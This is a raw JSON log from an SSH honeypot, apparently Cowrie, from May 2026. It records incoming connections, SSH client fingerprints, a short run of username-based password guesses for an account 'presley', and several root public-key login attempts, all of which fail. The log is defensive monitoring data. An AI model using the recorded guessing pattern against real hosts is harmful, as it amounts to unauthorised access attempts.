{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:22.114470Z","src_ip":"213.209.159.56","session":"a843142eada2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"presley","password":"presley","message":"login attempt [presley/presley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:22.522947Z","src_ip":"213.209.159.56","session":"a843142eada2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"presley","password":"presley1","message":"login attempt [presley/presley1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:23.609899Z","src_ip":"213.209.159.56","session":"a843142eada2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"presley","password":"presley123","message":"login attempt [presley/presley123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:24.697273Z","src_ip":"213.209.159.56","session":"a843142eada2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"presley","password":"presley1234","message":"login attempt [presley/presley1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:25.792007Z","src_ip":"213.209.159.56","session":"a843142eada2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.33","src_port":45356,"dst_ip":"10.17.0.5","dst_port":22,"session":"671d010e1585","protocol":"ssh","message":"New connection: 188.44.20.33:45356 (10.17.0.5:22) [session: 671d010e1585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:26.791138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:26.795944Z","src_ip":"188.44.20.33","session":"671d010e1585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"presley","password":"presley12345","message":"login attempt [presley/presley12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:26.880802Z","src_ip":"213.209.159.56","session":"a843142eada2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:26.928047Z","src_ip":"188.44.20.33","session":"671d010e1585","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:0b:80:11:cc:5e:ac:92:9d:f5:50:9b:50:ad:1d:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwpAaUpNnHSUcW9O6akBfqUkDa/jSq89yF928DMhg7LSn/hnopAQO5oA5ZeTpwyoRNdSBBgBRK6Oe10ZNn3hvgkL/6cKxkVJXMYKoTqdeUJuwX2qqEeW9Z4DOsEH5jBP5QzfarAOL/cIn6dVXuosyPUvQS9cJbjKqjQCH+i8ebiAPpM0Pw95tHUcHXOJPQv0TGLq5GP0oedF0KFZVxepBRh0GUGttpWMcVm7bT1lRx6SOcOAFrCWKN5vLVOeAU+Xh5w31KWH+xnaIC6AiCKI8GKbhFdmxuwDhuUgoJU6wVFaAuefZ7gH1GyDaDLsJ3Fp+h3VCP6UlMtSFJrSTZzWrT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:0b:80:11:cc:5e:ac:92:9d:f5:50:9b:50:ad:1d:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:27.564335Z","src_ip":"188.44.20.33","session":"671d010e1585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:0b:80:11:cc:5e:ac:92:9d:f5:50:9b:50:ad:1d:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwpAaUpNnHSUcW9O6akBfqUkDa/jSq89yF928DMhg7LSn/hnopAQO5oA5ZeTpwyoRNdSBBgBRK6Oe10ZNn3hvgkL/6cKxkVJXMYKoTqdeUJuwX2qqEeW9Z4DOsEH5jBP5QzfarAOL/cIn6dVXuosyPUvQS9cJbjKqjQCH+i8ebiAPpM0Pw95tHUcHXOJPQv0TGLq5GP0oedF0KFZVxepBRh0GUGttpWMcVm7bT1lRx6SOcOAFrCWKN5vLVOeAU+Xh5w31KWH+xnaIC6AiCKI8GKbhFdmxuwDhuUgoJU6wVFaAuefZ7gH1GyDaDLsJ3Fp+h3VCP6UlMtSFJrSTZzWrT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:27.569362Z","src_ip":"188.44.20.33","session":"671d010e1585","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:90:97:fa:23:d1:7f:62:af:a8:38:33:6d:b3:76:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy5DwIaioMq7abO1KrFZyuAjJbCi0YY7RbhZ48yeuZqPoCuy3IXRY2AdPOTvSZA65RrTwvj6moUazCN++bCkgXs3nnRKcnpPkCdyyxSxk2L2dBvRl7LKWcar7MIZzSjWEvqLisfJT5F3r4B4P8ePIx2tbBsc4a3yRhtXi9bxCawQqLyXFPEqz5LmxYr6iYTYUJ2XDEVAhakNG5RgGesvYYCusQTPRro8NOjwzYPSYBHiGum7acybIGdqZEn9vHpSskHIKre0OAQTRzMIHNa+WHRlirMUrGb6byY6fB3vKDHxbdQFpmuJmJZCLdIORo/WODTZtvCI1WOxIFzlvxZjdV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:90:97:fa:23:d1:7f:62:af:a8:38:33:6d:b3:76:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:27.728258Z","src_ip":"188.44.20.33","session":"671d010e1585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:90:97:fa:23:d1:7f:62:af:a8:38:33:6d:b3:76:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy5DwIaioMq7abO1KrFZyuAjJbCi0YY7RbhZ48yeuZqPoCuy3IXRY2AdPOTvSZA65RrTwvj6moUazCN++bCkgXs3nnRKcnpPkCdyyxSxk2L2dBvRl7LKWcar7MIZzSjWEvqLisfJT5F3r4B4P8ePIx2tbBsc4a3yRhtXi9bxCawQqLyXFPEqz5LmxYr6iYTYUJ2XDEVAhakNG5RgGesvYYCusQTPRro8NOjwzYPSYBHiGum7acybIGdqZEn9vHpSskHIKre0OAQTRzMIHNa+WHRlirMUrGb6byY6fB3vKDHxbdQFpmuJmJZCLdIORo/WODTZtvCI1WOxIFzlvxZjdV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:27.732212Z","src_ip":"188.44.20.33","session":"671d010e1585","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:e1:83:55:ea:19:ae:7b:c8:96:8d:ef:92:f6:33:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEfHQpwsKcyuBsTvYBkGAUeR+6r3Yo1FqZEv+/Onnixzuq+KLALmRLvr7opAYgVik042jldDYLeUTeaqkgOEq5WoI68NznNuLyCv/OuyM3Nbm5FdGzz1wN8yyHCDK/AbJLGPAY0YV+rhdEfB3TYfyP0E/d5svyXccnl88vXkwDLOwvQbINbLr5dYJ122vcmt+DlkUtiGW/dnDLmFdSyFLVVC95iCys7iQyCzH6bHT7jW/ovUAPCqXnOHI393nxtl579iL5nbkliq6Tv+fm/fIKmMK4fvK/d03ILTFzJWVhA8zKyg3O1+xbLKXrvd1ggdb7dX/c5Cz9qzRAgLyTgvt9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:e1:83:55:ea:19:ae:7b:c8:96:8d:ef:92:f6:33:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:27.867589Z","src_ip":"188.44.20.33","session":"671d010e1585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:e1:83:55:ea:19:ae:7b:c8:96:8d:ef:92:f6:33:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEfHQpwsKcyuBsTvYBkGAUeR+6r3Yo1FqZEv+/Onnixzuq+KLALmRLvr7opAYgVik042jldDYLeUTeaqkgOEq5WoI68NznNuLyCv/OuyM3Nbm5FdGzz1wN8yyHCDK/AbJLGPAY0YV+rhdEfB3TYfyP0E/d5svyXccnl88vXkwDLOwvQbINbLr5dYJ122vcmt+DlkUtiGW/dnDLmFdSyFLVVC95iCys7iQyCzH6bHT7jW/ovUAPCqXnOHI393nxtl579iL5nbkliq6Tv+fm/fIKmMK4fvK/d03ILTFzJWVhA8zKyg3O1+xbLKXrvd1ggdb7dX/c5Cz9qzRAgLyTgvt9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:27.871333Z","src_ip":"188.44.20.33","session":"671d010e1585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:27.968080Z","src_ip":"213.209.159.56","session":"a843142eada2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:3c:18:b9:0e:1b:b3:cf:58:03:9f:01:24:50:1a:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTPDKiG6NZ4dGNUWNBl57v8ydsHC5QCcCPhQpP3cvDmTSZ0+pDKBB3/njncpGbKdTvJkZB+93rZOr9vB53FOBI9UNgFE46sJNWeOxzG83mOousEgwXN5pJTjgr5xV30fKkWOAXbLBSpAOy7u6JR6/JS7GuYsuPJztW6RvWOEDr4pWSnPbWfuITY3pkncTUQWNae5BceCnLAMks5NFEU9+jiOXiYFPVDfsTlhyEOv0GdeJmC3FEBQIWW0SFyGFRdXBLXafXYzSljjNRbzamfDhriw1khM9/yYGERXUxigi21J5B2GS2XrezJ5aaF3iiY08lueijh7QqKeTvo4ukBkO5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:3c:18:b9:0e:1b:b3:cf:58:03:9f:01:24:50:1a:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:28.015900Z","src_ip":"188.44.20.33","session":"671d010e1585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:3c:18:b9:0e:1b:b3:cf:58:03:9f:01:24:50:1a:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTPDKiG6NZ4dGNUWNBl57v8ydsHC5QCcCPhQpP3cvDmTSZ0+pDKBB3/njncpGbKdTvJkZB+93rZOr9vB53FOBI9UNgFE46sJNWeOxzG83mOousEgwXN5pJTjgr5xV30fKkWOAXbLBSpAOy7u6JR6/JS7GuYsuPJztW6RvWOEDr4pWSnPbWfuITY3pkncTUQWNae5BceCnLAMks5NFEU9+jiOXiYFPVDfsTlhyEOv0GdeJmC3FEBQIWW0SFyGFRdXBLXafXYzSljjNRbzamfDhriw1khM9/yYGERXUxigi21J5B2GS2XrezJ5aaF3iiY08lueijh7QqKeTvo4ukBkO5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:28.020950Z","src_ip":"188.44.20.33","session":"671d010e1585","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:8e:e9:de:4b:99:ae:af:40:4c:8a:73:5f:0a:f2:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1MlFQ/pVRw9RGTnaJ1Pi236wj2RQdDwFbjxQv6zj8IS5p9D6YHk6SrtVIhQMoUYWUXDYX92CP72OXy4a+tTC8dwaPLnwGMJJpe5JtmJS2MzZTMpMP1uGLnwuMQB9XgdTiiDMs3lv3jHf9yshy8tFVoSmeNwaSPODZllK9k1mDPJfm7dOZxAyZhd25Ypueh1YELBRwQtxnobLSvsfFJrJUEUXZLdpzd3cwh6kq2OiJllJGxIv2jnyUplqK/Cqw17qbSQ03PHh96Ve4AghDZq8vYAWc+Ax1bgA3DWpjIhgDB4usdnzXszrESf7pY1ZOICy4DXVfqBOF6PSlDBUTYQx8Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:8e:e9:de:4b:99:ae:af:40:4c:8a:73:5f:0a:f2:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:28.155349Z","src_ip":"188.44.20.33","session":"671d010e1585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:8e:e9:de:4b:99:ae:af:40:4c:8a:73:5f:0a:f2:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1MlFQ/pVRw9RGTnaJ1Pi236wj2RQdDwFbjxQv6zj8IS5p9D6YHk6SrtVIhQMoUYWUXDYX92CP72OXy4a+tTC8dwaPLnwGMJJpe5JtmJS2MzZTMpMP1uGLnwuMQB9XgdTiiDMs3lv3jHf9yshy8tFVoSmeNwaSPODZllK9k1mDPJfm7dOZxAyZhd25Ypueh1YELBRwQtxnobLSvsfFJrJUEUXZLdpzd3cwh6kq2OiJllJGxIv2jnyUplqK/Cqw17qbSQ03PHh96Ve4AghDZq8vYAWc+Ax1bgA3DWpjIhgDB4usdnzXszrESf7pY1ZOICy4DXVfqBOF6PSlDBUTYQx8Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:28.159629Z","src_ip":"188.44.20.33","session":"671d010e1585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:28.293431Z","src_ip":"188.44.20.33","session":"671d010e1585","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.221.82","src_port":28922,"dst_ip":"10.17.0.5","dst_port":22,"session":"62d8db2f583a","protocol":"ssh","message":"New connection: 172.110.221.82:28922 (10.17.0.5:22) [session: 62d8db2f583a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:48:04.406637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:48:04.411345Z","src_ip":"172.110.221.82","session":"62d8db2f583a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:48:04.522932Z","src_ip":"172.110.221.82","session":"62d8db2f583a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:b6:25:31:14:ab:3b:9b:56:2a:25:20:d8:c7:c6:bf","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKBRcpDv7sJiwNDcGK6EdaQSTifVFJzECErVAFUkwIeR","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ef:b6:25:31:14:ab:3b:9b:56:2a:25:20:d8:c7:c6:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:48:05.046354Z","src_ip":"172.110.221.82","session":"62d8db2f583a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:b6:25:31:14:ab:3b:9b:56:2a:25:20:d8:c7:c6:bf","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKBRcpDv7sJiwNDcGK6EdaQSTifVFJzECErVAFUkwIeR","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:48:05.050991Z","src_ip":"172.110.221.82","session":"62d8db2f583a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:9d:0a:da:0a:04:b3:52:cb:6e:be:ee:8f:d1:9e:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0RdHqmaxJLz/uf6hGH9O7tyoARFtHzii9VgLsFpCr0My/5YaP701nQRC9xlNZXp3kcOMvD7OZgCVOHJVSGRUZzH6t5flf3We8KSrrSOty+0FUCH2f3o8wrxSs1Tbm2y8j/1hpGLPYyW2gGvIiJtebIUFCEwpon3h6RbSUYrk9aBz1B17S86xso6xR4pujO7ElzEI/AXSlZJgnkW2kLQBGi97BIu71nzSWQtiyL6T4tW+ZIuyXV/mP0TLXNsUFdXpqTKuPdVDmAKQT2OZD29Wuk505xbK21+4ZChq2qC79vj0VAAta1LKOJ7tZc4B3qHYy9VbIFp+qyjfoX6HOXpPmw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:9d:0a:da:0a:04:b3:52:cb:6e:be:ee:8f:d1:9e:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:48:05.162341Z","src_ip":"172.110.221.82","session":"62d8db2f583a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:9d:0a:da:0a:04:b3:52:cb:6e:be:ee:8f:d1:9e:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0RdHqmaxJLz/uf6hGH9O7tyoARFtHzii9VgLsFpCr0My/5YaP701nQRC9xlNZXp3kcOMvD7OZgCVOHJVSGRUZzH6t5flf3We8KSrrSOty+0FUCH2f3o8wrxSs1Tbm2y8j/1hpGLPYyW2gGvIiJtebIUFCEwpon3h6RbSUYrk9aBz1B17S86xso6xR4pujO7ElzEI/AXSlZJgnkW2kLQBGi97BIu71nzSWQtiyL6T4tW+ZIuyXV/mP0TLXNsUFdXpqTKuPdVDmAKQT2OZD29Wuk505xbK21+4ZChq2qC79vj0VAAta1LKOJ7tZc4B3qHYy9VbIFp+qyjfoX6HOXpPmw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:48:05.166450Z","src_ip":"172.110.221.82","session":"62d8db2f583a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:df:1f:d5:81:d2:fc:26:70:74:06:84:e9:75:f9:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOTJVWwbJ8VQqE1XPIlA4K3JSb4AlfcfCW8cDlNfeNAlDqBwvKTPA4VYa/1yxVXKheV7NTC0PvQqE2zDCMXcIjtGWVfjLczGI1kHRFHvTftTGwPuCMGJu45RRQYwh3S9ZI4gZWhbeZEcsoVrZwT3tMNFn8OSGHBwM/cutRse7GNM+Q+mk+sH6KFaNT6/7977FMZquXxYVU5dLJJ+nwwvP2KuWjLDc7R5M7BZRUQhNnbrYt2g/QO+FOWN0cUPgC9Im5IefDovyONWJX7Snp4C13yY1/DY8TsttSMzXdGBXRfYVBt4BqN5jDRrsW6ji7qFs/CYPrdgE75f6AsShuBGuf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:df:1f:d5:81:d2:fc:26:70:74:06:84:e9:75:f9:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:48:05.276801Z","src_ip":"172.110.221.82","session":"62d8db2f583a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:df:1f:d5:81:d2:fc:26:70:74:06:84:e9:75:f9:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOTJVWwbJ8VQqE1XPIlA4K3JSb4AlfcfCW8cDlNfeNAlDqBwvKTPA4VYa/1yxVXKheV7NTC0PvQqE2zDCMXcIjtGWVfjLczGI1kHRFHvTftTGwPuCMGJu45RRQYwh3S9ZI4gZWhbeZEcsoVrZwT3tMNFn8OSGHBwM/cutRse7GNM+Q+mk+sH6KFaNT6/7977FMZquXxYVU5dLJJ+nwwvP2KuWjLDc7R5M7BZRUQhNnbrYt2g/QO+FOWN0cUPgC9Im5IefDovyONWJX7Snp4C13yY1/DY8TsttSMzXdGBXRfYVBt4BqN5jDRrsW6ji7qFs/CYPrdgE75f6AsShuBGuf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:48:05.281055Z","src_ip":"172.110.221.82","session":"62d8db2f583a","protocol":"ssh"}
